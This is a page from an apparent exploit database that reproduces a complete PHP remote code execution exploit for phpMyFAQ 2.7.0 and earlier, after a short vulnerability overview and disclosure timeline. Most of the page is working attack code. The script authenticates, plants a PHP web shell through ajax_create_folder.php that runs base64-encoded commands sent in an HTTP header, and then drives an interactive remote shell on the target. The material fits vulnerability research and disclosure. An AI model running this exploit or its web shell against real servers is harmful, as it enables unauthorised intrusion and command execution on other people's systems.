ZeroBox Vulnerability Database

<?php

/*

    ————————————————————————

    phpMyFAQ <= 2.7.0 (ajax_create_folder.php) Remote Code Execution Exploit

    ————————————————————————

    

    author…………: Egidio Romano aka EgiX

    mail…………..: n0b0d13s[at]gmail[dot]com

    software link…..: http://www.phpmyfaq.de/

    

    +————————————————————————-+

    | This proof of concept code was written for educational purpose only.    |

    | Use it at your own risk. Author will be not responsible for any damage. |

    +————————————————————————-+

    

    [-] Vulnerability overview:

    

    All versions of phpMyFAQ <= 2.6.18 and phpMyFAQ <= 2.7.0 are affected by the

    vulnerability that I reported to http://www.exploit-db.com/exploits/18075/

    Successful exploitation of this vulnerability requires authentication.

    

    [-] Disclosure timeline:

    

    [23/10/2011] – Vulnerability discovered

    [24/10/2011] – Issue reported to http://forum.phpmyfaq.de/viewtopic.php?t=13402

    [25/10/2011] – Fix released, more details at http://www.phpmyfaq.de/advisory_2011-10-25.php

    [05/11/2011] – Public disclosure

*/

error_reporting(0);

set_time_limit(0);

ini_set(“default_socket_timeout”, 5);

function http_send($host, $packet)

{

    if (!($sock = fsockopen($host, 80)))

        die( “\n[-] No response from {$host}:80\n”);

    fwrite($sock, $packet);

    return stream_get_contents($sock);

}

print “\n+———————————————————+”;

print “\n| phpMyFAQ <= 2.7.0 Remote Code Execution Exploit by EgiX |”;

print “\n+———————————————————+\n”;

if ($argc < 5)

{

    print “\nUsage……: php $argv[0] <host> <path> <username> <password>\n”;

    print “\nExample….: php $argv[0] localhost /”;

    print “\nExample….: php $argv[0] localhost /phpmyfaq/\n”;

    die();

}

$host = $argv[1];

$path = $argv[2];

$payload = “faqusername={$argv[3]}&faqpassword={$argv[4]}”;

$packet  = “POST {$path}?action=login HTTP/1.0\r\n”;

$packet .= “Host: {$host}\r\n”;

$packet .= “Cookie: pmf_auth=foo\r\n”;

$packet .= “Content-Length: “.strlen($payload).”\r\n”;

$packet .= “Content-Type: application/x-www-form-urlencoded\r\n”;

$packet .= “Connection: close\r\n\r\n{$payload}”;

if (!preg_match(“/pmf_auth=([^;]*);/”, http_send($host, $packet), $auth)) die(“\n[-] Login failed!\n”);

$packet  = “GET {$path}admin/editor/plugins/ajaxfilemanager/ajax_login.php HTTP/1.0\r\n”;

$packet .= “Host: {$host}\r\n”;

$packet .= “Cookie: pmf_auth={$auth[1]}\r\n”;

$packet .= “Connection: close\r\n\r\n”;

http_send($host, $packet);

$payload = “foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>”;

$packet  = “POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n”;

$packet .= “Host: {$host}\r\n”;

$packet .= “Cookie: pmf_auth={$auth[1]}\r\n”;

$packet .= “Content-Length: “.strlen($payload).”\r\n”;

$packet .= “Content-Type: application/x-www-form-urlencoded\r\n”;

$packet .= “Connection: close\r\n\r\n{$payload}”;

http_send($host, $packet);

$packet  = “GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n”;

$packet .= “Host: {$host}\r\n”;

$packet .= “Cmd: %s\r\n”;

$packet .= “Connection: close\r\n\r\n”;

while(1)

{

    print “\nphpmyfaq-shell# “;

    if (($cmd = trim(fgets(STDIN))) == “exit”) break;

    preg_match(“/_code_(.*)/s”, http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?

    print $m[1] : die(“\n[-] Exploit failed!\n”);

}

?>